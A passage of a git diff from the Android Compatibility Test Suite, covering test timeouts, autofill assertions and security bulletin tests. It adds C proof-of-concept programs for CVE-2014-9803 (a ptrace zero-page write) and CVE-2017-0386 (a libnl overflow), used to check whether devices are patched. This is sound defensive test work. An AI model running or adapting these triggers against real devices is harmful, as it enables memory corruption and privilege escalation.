+ assertLessThan("Pitch max error", mReport.pitch_max_error, Criterion.pitch_max_error);
return message;
}
@@ -331,13 +327,16 @@
String message = "Test Yaw Axis Accuracy";
- Assert.assertEquals("Yaw RMS error", 0.0, mReport.yaw_rms_error,
- Criterion.yaw_rms_error);
- Assert.assertEquals("Yaw max error", 0.0, mReport.yaw_max_error,
- Criterion.yaw_max_error);
+ assertLessThan("Yaw RMS error", mReport.yaw_rms_error, Criterion.yaw_rms_error);
+ assertLessThan("Yaw max error", mReport.yaw_max_error, Criterion.yaw_max_error);
return message;
}
+ private void assertLessThan(String message, double lhs, double rhs) {
+ Assert.assertTrue(String.format("%s - expected %.4f < %.4f", message, lhs, rhs),
+ lhs < rhs);
+ }
+
private void loadOpenCVSuccessfulOrSkip() throws SensorTestStateNotSupportedException {
if (!mOpenCVLoadSuccessful)
throw new SensorTestStateNotSupportedException("Skipped due to OpenCV cannot be loaded");
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
old mode 100644
new mode 100755
index 301a626..c26ddd0
--- a/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
@@ -43,7 +43,7 @@
public class BlockingBroadcastReceiver extends BroadcastReceiver {
private static final String TAG = "BlockingBroadcast";
- private static final int DEFAULT_TIMEOUT_SECONDS = 10;
+ private static final int DEFAULT_TIMEOUT_SECONDS = 30;
private final BlockingQueue<Intent> mBlockingQueue;
private final String mExpectedAction;
@@ -68,7 +68,7 @@
/**
* Wait until the broadcast and return the received broadcast intent. {@code null} is returned
- * if no broadcast with expected action is received within 10 seconds.
+ * if no broadcast with expected action is received within 30 seconds.
*/
public @Nullable Intent awaitForBroadcast() {
try {
diff --git a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
index 1718ab7..6d5c336 100644
--- a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
+++ b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
@@ -119,7 +119,7 @@
runTestAsPrimaryUser(CALL_BLOCKING_TEST_CLASS_NAME, "testUnregisterPhoneAccount");
// Run tests as secondary user.
- assertTrue(getDevice().startUser(mSecondaryUserId));
+ startUserAndWait(mSecondaryUserId);
// Ensure that a privileged app cannot block numbers when the current user is a
// secondary user.
@@ -142,6 +142,29 @@
}
}
+ /** Starts user {@code userId} and waits until it is in state RUNNING_UNLOCKED. */
+ protected void startUserAndWait(int userId) throws Exception {
+ getDevice().startUser(userId);
+
+ final String desiredState = "RUNNING_UNLOCKED";
+ final long USER_STATE_TIMEOUT_MS = 60_0000; // 1 minute
+ final long timeout = System.currentTimeMillis() + USER_STATE_TIMEOUT_MS;
+ final String command = String.format("am get-started-user-state %d", userId);
+ String output = "";
+ while (System.currentTimeMillis() <= timeout) {
+ output = getDevice().executeShellCommand(command);
+ if (output.contains(desiredState)) {
+ return;
+ }
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException e) {
+ // Do nothing.
+ }
+ }
+ fail("User state of " + userId + " was '" + output + "' rather than " + desiredState);
+ }
+
private void createSecondaryUser() throws Exception {
mSecondaryUserId = getDevice().createUser(SECONDARY_USER_NAME);
getDevice().waitForDeviceAvailable();
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 18db75d..1954c49 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -56,6 +56,7 @@
<!--__________________-->
<!-- Bulletin 2016-07 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
<option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
<!-- Bulletin 2016-09 -->
@@ -78,6 +79,7 @@
<!--__________________-->
<!-- Bulletin 2017-01 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-0386->/data/local/tmp/CVE-2017-0386" />
<!--__________________-->
<!-- Bulletin 2017-02 -->
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
index 761e529..54e70cb1 100755
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
@@ -190,7 +190,7 @@
int main() {
sp<InputChannel> server, client;
- status_t result = InputChannel::openInputChannelPair("channel name", server, client);
+ status_t result = InputChannel::openInputChannelPair(String8("channel name").string(), server, client);
if (result != OK) {
ALOGE("Could not open input channel pair");
return 0;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
new file mode 100644
index 0000000..e9ffee4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2014-9803
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
new file mode 100644
index 0000000..6ab4633
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <../includes/common.h>
+
+volatile char *mem = 0;
+
+// child
+int check_zero_page() {
+ char *temp =
+ (char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ int zeropage = *(int *)temp;
+ munmap(temp, 4096);
+ return zeropage;
+}
+
+// child
+int do_child(int val) {
+ // enable tracing and wait until parent is finished unlocking zero page
+ ptrace(PTRACE_TRACEME, 0, 0, 0);
+ sleep(2);
+
+ mprotect((void *)mem, 4096, PROT_READ | PROT_WRITE);
+
+ // try to corrupt zero page
+ mem[0] = val;
+
+ int zeropage = check_zero_page();
+ return zeropage ? EXIT_VULNERABLE : 0;
+}
+
+// parent
+int do_trace(pid_t child) {
+ int status = 0;
+ sleep(1); // wait until child is set up
+ kill(child, SIGSTOP); // pause child
+ waitpid(child, &status, 0);
+
+ // unlock zero page
+ status = ptrace(PTRACE_PEEKDATA, child, mem, 0);
+
+ // stop tracing so child can continue
+ ptrace(PTRACE_DETACH, child, 0, 0);
+ kill(child, SIGCONT);
+ return status;
+}
+
+int main(void) {
+
+ char value = 0xAA;
+
+ mem = (volatile char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ mprotect((void *)mem, 4096, PROT_NONE);
+
+ pid_t child = fork();
+
+ if (child == 0) {
+ return do_child(value);
+ } else {
+ do_trace(child);
+ }
+
+ int status = 0;
+ waitpid(child, &status, 0); // wait for child to exit naturally
+ int exit = WEXITSTATUS(status); // get child exit status
+
+ munmap((void *)mem, 4096);
+
+ return exit;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
new file mode 100755
index 0000000..258944f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0386
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := external/libnl/include
+
+LOCAL_SHARED_LIBRARIES := \
+ libnl \
+ libc \
+ liblog \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
new file mode 100755
index 0000000..90f3238
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
@@ -0,0 +1,100 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#define LOG_TAG "CVE-2017-0386"
+
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <stdio.h>
+#include <log/log.h>
+#include <netlink/msg.h>
+#include <netlink/netlink.h>
+#include <netlink-private/object-api.h>
+#include <netlink-private/types.h>
+#include <netlink/object.h>
+#include <netlink/attr.h>
+
+#include "../includes/common.h"
+
+int main(void) {
+ struct nl_msg *message = NULL;
+ struct nlmsghdr *hdr;
+ char *data = NULL;
+ uint32_t result = 0;
+ int ret = EXIT_SUCCESS;
+ int pagesize = getpagesize();
+ size_t payloadlength = pagesize + 12 - 0x30;
+ size_t payload2length = pagesize;
+
+ message = nlmsg_alloc();
+ if (message == NULL) {
+ ALOGE("Alloc message memory failed");
+ return EXIT_FAILURE;
+ }
+
+ ALOGI("nl_msg.nm_size : %zx\n", message->nm_size);
+ hdr = message->nm_nlh;
+
+ //allocate memory for data with payloadlength
+ data = malloc(payloadlength);
+ if (data == NULL) {
+ ALOGE("Alloc data memory failed");
+ nlmsg_free(message);
+ return EXIT_FAILURE;
+ }
+
+ memset(data, 0x41, payloadlength);
+ nla_put(message, 0x4444, payloadlength, data);
+ result = hdr->nlmsg_len;
+ ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+ ALOGI("message len = 0x%x", result);
+
+ free(data);
+ data = NULL;
+
+ //allocate memory for data with payload2length
+ data = malloc(payload2length);
+ if (data == NULL) {
+ ALOGE("Alloc data2 memory failed");
+ nlmsg_free(message);
+ return EXIT_FAILURE;
+ }
+ memset(data, 0x33, payload2length);
+ ALOGI("\n\n\nPutting down overflow.......\n\n\n");
+ nla_put(message, 0x8888, 0xFFFFF000, data);
+
+ ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+ ALOGI("message len = 0x%x", hdr->nlmsg_len);
+
+ /*
+ * return 113 error code if length is mismatch
+ */
+ if(result != hdr->nlmsg_len) {
+ ret = EXIT_VULNERABLE;
+ }
+
+ if(!data) {
+ free(data);
+ data = NULL;
+ }
+
+ if(!message) {
+ nlmsg_free(message);
+ message = NULL;
+ }
+ return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index db56a31..bc93c1e 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -30,6 +30,9 @@
exit(EXIT_FAILURE); \
}
+#define _32_BIT UINTPTR_MAX == UINT32_MAX
+#define _64_BIT UINTPTR_MAX == UINT64_MAX
+
time_t start_timer(void);
int timer_active(time_t timer_started);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 1e33083..dcabb76 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -38,4 +38,12 @@
assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
logcat);
}
+
+ /**
+ * b/28557020
+ */
+ @SecurityTest(minPatchLevel = "2016-07")
+ public void testPocCVE_2014_9803() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2014-9803", getDevice(), 60);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 629f83f..107ac45 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -124,4 +124,12 @@
assertTrue(!result.equals("Vulnerable"));
}
}
+
+ /**
+ * b/32255299
+ */
+ @SecurityTest(minPatchLevel = "2017-01")
+ public void testPocCVE_2017_0386() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2017-0386", getDevice(), 60);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
new file mode 100644
index 0000000..3ab1829
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import java.util.concurrent.TimeoutException;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import static org.junit.Assert.*;
+
+public class RegexUtils {
+ private static final int CONTEXT_RANGE = 100; // chars before/after matched input string
+
+ public static void assertContains(String pattern, String input) throws Exception {
+ assertFind(pattern, input, false, false);
+ }
+
+ public static void assertContainsMultiline(String pattern, String input) throws Exception {
+ assertFind(pattern, input, false, true);
+ }
+
+ public static void assertNotContains(String pattern, String input) throws Exception {
+ assertFind(pattern, input, true, false);
+ }
+
+ public static void assertNotContainsMultiline(String pattern, String input) throws Exception {
+ assertFind(pattern, input, true, true);
+ }
+
+ private static void assertFind(
+ String pattern, String input, boolean shouldFind, boolean multiline) {
+ // The input string throws an error when used after the timeout
+ TimeoutCharSequence timedInput = new TimeoutCharSequence(input, 60_000); // 1 minute
+ Matcher matcher = null;
+ if (multiline) {
+ // DOTALL lets .* match line separators
+ // MULTILINE lets ^ and $ match line separators instead of input start and end
+ matcher = Pattern.compile(
+ pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(timedInput);
+ } else {
+ matcher = Pattern.compile(pattern).matcher(timedInput);
+ }
+
+ try {
+ long start = System.currentTimeMillis();
+ boolean found = matcher.find();
+ long duration = System.currentTimeMillis() - start;
+
+ if (duration > 1000) { // one second
+ // Provide a warning to the test developer that their regex should be optimized.
+ CLog.logAndDisplay(LogLevel.WARN, "regex match took " + duration + "ms.");
+ }
+
+ if (found && shouldFind) { // failed notContains
+ String substring = input.substring(matcher.start(), matcher.end());
+ String context = getInputContext(input, matcher.start(), matcher.end(),
+ CONTEXT_RANGE, CONTEXT_RANGE);
+ fail("Pattern found: '" + pattern + "' -> '" + substring + "' for input:\n..." +
+ context + "...");
+ } else if (!found && !shouldFind) { // failed contains
+ fail("Pattern not found: '" + pattern + "' for input:\n..." + input + "...");
+ }
+ } catch (TimeoutCharSequence.CharSequenceTimeoutException e) {
+ // regex match has taken longer than the timeout
+ // this usually means the input is extremely long or the regex is catastrophic
+ fail("Regex timeout with pattern: '" + pattern + "' for input:\n..." + input + "...");
+ }
+ }
+
+ /*
+ * Helper method to grab the nearby chars for a subsequence. Similar to the -A and -B flags for
+ * grep.
+ */
+ private static String getInputContext(String input, int start, int end, int before, int after) {
+ start = Math.max(0, start - before);
+ end = Math.min(input.length(), end + after);
+ return input.substring(start, end);
+ }
+
+ /*
+ * Wrapper for a given CharSequence. When charAt() is called, the current time is compared
+ * against the timeout. If the current time is greater than the expiration time, an exception is
+ * thrown. The expiration time is (time of object construction) + (timeout in milliseconds).
+ */
+ private static class TimeoutCharSequence implements CharSequence {
+ long expireTime = 0;
+ CharSequence chars = null;
+
+ TimeoutCharSequence(CharSequence chars, long timeout) {
+ this.chars = chars;
+ expireTime = System.currentTimeMillis() + timeout;
+ }
+
+ @Override
+ public char charAt(int index) {
+ if (System.currentTimeMillis() > expireTime) {
+ throw new CharSequenceTimeoutException(
+ "TimeoutCharSequence was used after the expiration time.");
+ }
+ return chars.charAt(index);
+ }
+
+ @Override
+ public int length() {
+ return chars.length();
+ }
+
+ @Override
+ public CharSequence subSequence(int start, int end) {
+ return new TimeoutCharSequence(chars.subSequence(start, end),
+ expireTime - System.currentTimeMillis());
+ }
+
+ @Override
+ public String toString() {
+ return chars.toString();
+ }
+
+ private static class CharSequenceTimeoutException extends RuntimeException {
+ public CharSequenceTimeoutException(String message) {
+ super(message);
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index ea6d66c..b1bd053 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -27,10 +27,13 @@
import java.util.Map;
import java.util.HashMap;
import com.android.ddmlib.Log;
+import java.util.concurrent.Callable;
+import java.math.BigInteger;
public class SecurityTestCase extends DeviceTestCase {
private static final String LOG_TAG = "SecurityTestCase";
+ private static final int RADIX_HEX = 16;
private long kernelStartTime;
@@ -122,21 +125,85 @@
}
}
+ // TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
+ // b/123237827
+ @Deprecated
public void assertMatches(String pattern, String input) throws Exception {
- assertTrue("Pattern not found", Pattern.matches(pattern, input));
+ RegexUtils.assertContains(pattern, input);
}
+ @Deprecated
public void assertMatchesMultiLine(String pattern, String input) throws Exception {
- assertTrue("Pattern not found: " + pattern,
- Pattern.compile(pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(input).find());
+ RegexUtils.assertContainsMultiline(pattern, input);
}
+ @Deprecated
public void assertNotMatches(String pattern, String input) throws Exception {
- assertFalse("Pattern found", Pattern.matches(pattern, input));
+ RegexUtils.assertNotContains(pattern, input);
}
+ @Deprecated
public void assertNotMatchesMultiLine(String pattern, String input) throws Exception {
- assertFalse("Pattern found: " + pattern,
- Pattern.compile(pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(input).find());
+ RegexUtils.assertNotContainsMultiline(pattern, input);
+ }
+
+ /**
+ * Runs a provided function that collects a String to test against kernel pointer leaks.
+ * The getPtrFunction function implementation must return a String that starts with the
+ * pointer. i.e. "01234567". Trailing characters are allowed except for [0-9a-fA-F]. In
+ * the event that the pointer appears to be vulnerable, a JUnit assert is thrown. Since kernel
+ * pointers can be hashed, there is a possiblity the the hashed pointer overlaps into the
+ * normal kernel space. The test re-runs to make false positives statistically insignificant.
+ * When kernel pointers won't change without a reboot, provide a device to reboot.
+ *
+ * @param getPtrFunction a function that returns a string that starts with a pointer
+ * @param deviceToReboot device to reboot when kernel pointers won't change
+ */
+ public void assertNotKernelPointer(Callable<String> getPtrFunction, ITestDevice deviceToReboot)
+ throws Exception {
+ String ptr = null;
+ for (int i = 0; i < 4; i++) { // ~0.4% chance of false positive
+ ptr = getPtrFunction.call();
+ if (ptr == null) {
+ return;
+ }
+ if (!isKptr(ptr)) {
+ // quit early because the ptr is likely hashed or zeroed.
+ return;
+ }
+ if (deviceToReboot != null) {
+ deviceToReboot.nonBlockingReboot();
+ deviceToReboot.waitForDeviceAvailable();
+ }
+ }
+ fail("\"" + ptr + "\" is an exposed kernel pointer.");
+ }
+
+ private boolean isKptr(String ptr) {
+ Matcher m = Pattern.compile("[0-9a-fA-F]*").matcher(ptr);
+ if (!m.find() || m.start() != 0) {
+ // ptr string is malformed
+ return false;
+ }
+ int length = m.end();
+
+ if (length == 8) {
+ // 32-bit pointer
+ BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
+ // 32-bit kernel memory range: 0xC0000000 -> 0xffffffff
+ // 0x3fffffff bytes = 1GB / 0xffffffff = 4 GB
+ // 1 in 4 collision for hashed pointers
+ return address.compareTo(new BigInteger("C0000000", RADIX_HEX)) >= 0;
+ } else if (length == 16) {
+ // 64-bit pointer
+ BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
+ // 64-bit kernel memory range: 0x8000000000000000 -> 0xffffffffffffffff
+ // 48-bit implementation: 0xffff800000000000; 1 in 131,072 collision
+ // 56-bit implementation: 0xff80000000000000; 1 in 512 collision
+ // 64-bit implementation: 0x8000000000000000; 1 in 2 collision
+ return address.compareTo(new BigInteger("ff80000000000000", RADIX_HEX)) >= 0;
+ }
+
+ return false;
}
}
diff --git a/hostsidetests/theme/assets/28/360dpi.zip b/hostsidetests/theme/assets/28/360dpi.zip
index 40b434b..3e1f801 100644
--- a/hostsidetests/theme/assets/28/360dpi.zip
+++ b/hostsidetests/theme/assets/28/360dpi.zip
Binary files differ
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 8d8adb1..8838492 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -299,9 +299,12 @@
private void setBatteryCharging(final boolean charging) throws Exception {
final BatteryManager bm = mContext.getSystemService(BatteryManager.class);
- final String cmd = "dumpsys battery " + (charging ? "reset" : "unplug");
- executeAndLog(cmd);
- if (!charging) {
+ if (charging) {
+ executeAndLog("dumpsys battery reset");
+ } else {
+ executeAndLog("dumpsys battery unplug");
+ executeAndLog("dumpsys battery set status " +
+ BatteryManager.BATTERY_STATUS_DISCHARGING);
assertTrue("Battery could not be unplugged", waitUntil(() -> !bm.isCharging(), 5_000));
}
}
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 428403d..bcfc2c8 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -29,8 +29,7 @@
<uses-library android:name="android.test.runner" />
- <activity android:name=".LoginActivity"
- android:screenOrientation="portrait">
+ <activity android:name=".LoginActivity" >
<intent-filter>
<!-- This intent filter is not really needed by CTS, but it maks easier to launch
this app during CTS development... -->
@@ -43,7 +42,7 @@
android:theme="@style/MyAutofilledHighlight"/>
<activity android:name=".LoginWithStringsActivity" />
<activity android:name=".WelcomeActivity" android:taskAffinity=".WelcomeActivity"/>
- <activity android:name=".ViewAttributesTestActivity" android:screenOrientation="portrait"/>
+ <activity android:name=".ViewAttributesTestActivity" />
<activity android:name=".AuthenticationActivity" />
<activity android:name=".ManualAuthenticationActivity" />
<activity android:name=".CheckoutActivity" android:taskAffinity=".CheckoutActivity"/>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 2037259..1f0f5ac 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -53,6 +53,7 @@
import android.view.ViewGroup;
import android.view.ViewStructure.HtmlInfo;
import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillManager;
import android.view.autofill.AutofillManager.AutofillCallback;
import android.view.autofill.AutofillValue;
import android.webkit.WebView;
@@ -1231,7 +1232,27 @@
"bitmap comparison failed; check contents of " + dump1 + " and " + dump2);
}
- @Nullable
+ /**
+ * Asserts that autofill is enabled in the context, retrying if necessariy.
+ */
+ public static void assertAutofillEnabled(@NonNull Context context, boolean expected)
+ throws Exception {
+ assertAutofillEnabled(context.getSystemService(AutofillManager.class), expected);
+ }
+
+ /**
+ * Asserts that autofill is enabled in the manager, retrying if necessariy.
+ */
+ public static void assertAutofillEnabled(@NonNull AutofillManager afm, boolean expected)
+ throws Exception {
+ Timeouts.IDLE_UNBIND_TIMEOUT.run("assertEnabled(" + expected + ")", () -> {
+ final boolean actual = afm.isEnabled();
+ Log.v(TAG, "assertEnabled(): expected=" + expected + ", actual=" + actual);
+ return actual == expected ? "not_used" : null;
+ });
+ }
+
+ @Nullable
private static File dumpBitmap(@NonNull Bitmap bitmap, @NonNull File dir,
@NonNull String filename) throws IOException {
final File file = new File(dir, filename);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index c476c7c..c6b63a3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2328,12 +2328,12 @@
// Sanity check.
final AutofillManager afm = mActivity.getAutofillManager();
- assertThat(afm.isEnabled()).isTrue();
+ Helper.assertAutofillEnabled(afm, true);
// Now disable user_complete and try again.
try {
setUserComplete(mContext, false);
- assertThat(afm.isEnabled()).isFalse();
+ Helper.assertAutofillEnabled(afm, false);
} finally {
setUserComplete(mContext, true);
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index 7149899..1a9ca43 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -32,7 +32,6 @@
import android.util.Log;
import android.view.KeyEvent;
import android.view.ViewStructure.HtmlInfo;
-import android.view.autofill.AutofillManager;
import org.junit.AfterClass;
import org.junit.Before;
@@ -122,8 +121,7 @@
// Load WebView
final MyWebView myWebView = mActivity.loadWebView(mUiBot, usesAppContext);
// Sanity check to make sure autofill is enabled in the application context
- assertThat(myWebView.getContext().getSystemService(AutofillManager.class).isEnabled())
- .isTrue();
+ Helper.assertAutofillEnabled(myWebView.getContext(), true);
// Set expectations.
myWebView.expectAutofill("dude", "sweet");
diff --git a/tests/core/runner-axt/src/com/android/cts/runner/CrashParserRunListener.java b/tests/core/runner-axt/src/com/android/cts/runner/CrashParserRunListener.java
new file mode 100644
index 0000000..d838fb4
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/runner/CrashParserRunListener.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.runner;
+
